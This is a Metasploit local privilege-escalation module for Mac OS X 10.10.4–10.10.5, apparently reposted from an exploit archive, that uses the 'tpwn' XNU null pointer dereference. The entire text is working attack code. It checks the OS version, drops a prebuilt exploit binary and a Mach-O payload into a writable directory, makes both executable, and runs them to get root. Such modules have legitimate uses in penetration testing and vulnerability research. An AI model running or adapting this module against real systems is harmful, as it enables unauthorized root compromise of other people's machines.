Mac OS X "tpwn" Privilege Escalation

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Local  
  
Rank = NormalRanking  
  
include Msf::Post::OSX::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Mac OS X "tpwn" Privilege Escalation',  
'Description' => %q{  
This module exploits a null pointer dereference in XNU to escalate  
privileges to root.  
  
Tested on 10.10.4 and 10.10.5.  
},  
'Author' => [  
'qwertyoruiop', # Vulnerability discovery and PoC  
'wvu' # Copy/paste monkey  
],  
'References' => [  
['URL', 'https://github.com/kpwn/tpwn']  
],  
'DisclosureDate' => 'Aug 16 2015',  
'License' => MSF_LICENSE,  
'Platform' => 'osx',  
'Arch' => ARCH_X86_64,  
'SessionTypes' => ['shell'],  
'Privileged' => true,  
'Targets' => [  
['Mac OS X 10.10.4-10.10.5', {}]  
],  
'DefaultTarget' => 0  
))  
  
register_options([  
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])  
])  
end  
  
def check  
ver?? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe  
end  
  
def exploit  
print_status("Writing exploit to `#{exploit_file}'")  
write_file(exploit_file, binary_exploit)  
register_file_for_cleanup(exploit_file)  
  
print_status("Writing payload to `#{payload_file}'")  
write_file(payload_file, binary_payload)  
register_file_for_cleanup(payload_file)  
  
print_status('Executing exploit...')  
cmd_exec(sploit)  
print_status('Executing payload...')  
cmd_exec(payload_file)  
end  
  
def ver?  
Gem::Version.new(get_sysinfo['ProductVersion']).between?(  
Gem::Version.new('10.10.4'), Gem::Version.new('10.10.5')  
)  
end  
  
def sploit  
"chmod +x #{exploit_file} #{payload_file} && #{exploit_file}"  
end  
  
def binary_exploit  
File.read(File.join(  
Msf::Config.data_directory, 'exploits', 'tpwn', 'tpwn'  
))  
end  
  
def binary_payload  
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)  
end  
  
def exploit_file  
@exploit_file ||=  
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"  
end  
  
def payload_file  
@payload_file ||=  
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"  
end  
  
end  
`